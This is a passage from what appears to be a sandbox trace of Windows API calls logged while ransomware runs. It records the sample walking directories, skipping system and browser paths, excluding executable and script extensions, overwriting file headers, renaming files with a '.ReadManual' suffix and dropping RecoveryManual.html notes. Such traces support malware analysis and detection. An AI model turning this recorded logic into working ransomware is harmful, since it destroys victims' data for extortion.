Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png.ReadManual.5A595725" [0251.996] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png.ReadManual.5A595725") returned 94 [0251.996] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37266514092) returned 1 [0251.996] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png")) returned 0x20 [0251.998] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.998] GetLastError () returned 0x5 [0251.998] GetNamedSecurityInfoW () returned 0x0 [0251.998] SetNamedSecurityInfoW () returned 0x0 [0252.002] SetNamedSecurityInfoW () returned 0x0 [0252.003] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.003] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4515) returned 1 [0252.003] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11a3, lpName=0x0) returned 0x1a0 [0252.003] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xcc) returned 1 [0252.003] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.003] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.005] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.005] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11a3) returned 0x2f0000 [0252.005] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.005] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37267407434) returned 1 [0252.005] CloseHandle (hObject=0x1a0) returned 1 [0252.005] SetSecurityInfo () returned 0x5 [0252.005] SetSecurityInfo () returned 0x5 [0252.006] LocalFree (hMem=0x674d38) returned 0x0 [0252.006] CloseHandle (hObject=0x184) returned 1 [0252.006] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 1 [0252.006] lstrcpyW (in: lpString1=0x6ab90c, lpString2="nav_uparrow.png" | out: lpString1="nav_uparrow.png") returned="nav_uparrow.png" [0252.006] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="RecoveryManual.html") returned -1 [0252.006] StrStrIW (lpFirst="nav_uparrow.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.006] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.006] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.006] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.006] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.006] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.006] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.006] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.006] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.006] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.006] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.006] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.006] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.006] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.006] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.006] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" [0252.006] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png.ReadManual.5A595725" [0252.006] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png.ReadManual.5A595725") returned 91 [0252.006] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37267511626) returned 1 [0252.006] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png")) returned 0x20 [0252.007] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.007] GetLastError () returned 0x5 [0252.007] GetNamedSecurityInfoW () returned 0x0 [0252.007] SetNamedSecurityInfoW () returned 0x0 [0252.007] SetNamedSecurityInfoW () returned 0x0 [0252.008] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.008] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4200) returned 1 [0252.008] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1068, lpName=0x0) returned 0x1a0 [0252.008] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc6) returned 1 [0252.008] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.009] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.010] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.010] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1068) returned 0x2f0000 [0252.010] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.011] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37267931510) returned 1 [0252.011] CloseHandle (hObject=0x1a0) returned 1 [0252.011] SetSecurityInfo () returned 0x5 [0252.011] SetSecurityInfo () returned 0x5 [0252.011] LocalFree (hMem=0x674d38) returned 0x0 [0252.011] CloseHandle (hObject=0x184) returned 1 [0252.011] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 0 [0252.011] FindClose (in: hFindFile=0x6bff40 | out: hFindFile=0x6bff40) returned 1 [0252.011] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1 [0252.011] lstrcpyW (in: lpString1=0x69b8fc, lpString2="BabyGirl" | out: lpString1="BabyGirl") returned="BabyGirl" [0252.011] lstrcatW (in: lpString1="BabyGirl", lpString2="\\" | out: lpString1="BabyGirl\\") returned="BabyGirl\\" [0252.011] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", lpSrch=":\\Windows\\") returned 0x0 [0252.011] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0252.011] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0252.011] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0252.011] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", lpSrch=":\\WINNT") returned 0x0 [0252.011] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0252.011] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", lpSrch=":\\Windows.old\\") returned 0x0 [0252.011] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", lpSrch=":\\PerfLog\\") returned 0x0 [0252.011] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", lpSrch="\\WindowsApps\\") returned 0x0 [0252.011] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0252.012] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0252.012] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0252.012] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0252.012] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0252.012] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0252.012] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0252.012] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", lpSrch="\\Windows Defender\\") returned 0x0 [0252.012] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", lpSrch="\\microsoft shared\\") returned 0x0 [0252.012] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0252.012] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0252.012] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0252.012] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0252.012] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0252.012] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", lpSrch="\\Tor Browser\\") returned 0x0 [0252.012] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0252.012] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned 57 [0252.012] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff40 [0252.014] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0252.014] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.014] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xab3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0252.014] lstrcpyW (in: lpString1=0x6ab90e, lpString2="16_9-frame-background.png" | out: lpString1="16_9-frame-background.png") returned="16_9-frame-background.png" [0252.014] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="RecoveryManual.html") returned -1 [0252.014] StrStrIW (lpFirst="16_9-frame-background.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.014] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.014] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.014] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.014] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.014] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.014] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.014] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.014] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.014] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.014] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.014] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.014] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.014] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.014] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.014] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" [0252.014] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png.ReadManual.5A595725" [0252.014] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png.ReadManual.5A595725") returned 102 [0252.014] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37268316006) returned 1 [0252.014] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png")) returned 0x20 [0252.015] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.015] GetLastError () returned 0x5 [0252.015] GetNamedSecurityInfoW () returned 0x0 [0252.015] SetNamedSecurityInfoW () returned 0x0 [0252.015] SetNamedSecurityInfoW () returned 0x0 [0252.016] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.016] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=2739) returned 1 [0252.016] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xab3, lpName=0x0) returned 0x1a0 [0252.016] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xdc) returned 1 [0252.017] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.017] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.018] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.018] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xab3) returned 0x2f0000 [0252.019] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.019] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37268740792) returned 1 [0252.019] CloseHandle (hObject=0x1a0) returned 1 [0252.019] SetSecurityInfo () returned 0x5 [0252.019] SetSecurityInfo () returned 0x5 [0252.019] LocalFree (hMem=0x674d38) returned 0x0 [0252.019] CloseHandle (hObject=0x184) returned 1 [0252.019] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0252.019] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\RecoveryManual.html" [0252.019] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0252.019] WriteFile (in: hFile=0x184, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fda8, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fda8*=0xae9, lpOverlapped=0x0) returned 1 [0252.020] CloseHandle (hObject=0x184) returned 1 [0252.020] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8a3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0252.020] lstrcpyW (in: lpString1=0x6ab90e, lpString2="16_9-frame-highlight.png" | out: lpString1="16_9-frame-highlight.png") returned="16_9-frame-highlight.png" [0252.020] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="RecoveryManual.html") returned -1 [0252.021] StrStrIW (lpFirst="16_9-frame-highlight.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.021] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.021] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.021] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.021] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.021] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.021] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.021] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.021] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.021] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.021] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.021] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.021] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.021] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.021] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.021] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" [0252.021] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png.ReadManual.5A595725" [0252.021] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png.ReadManual.5A595725") returned 101 [0252.021] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37268982385) returned 1 [0252.021] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png")) returned 0x20 [0252.022] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD 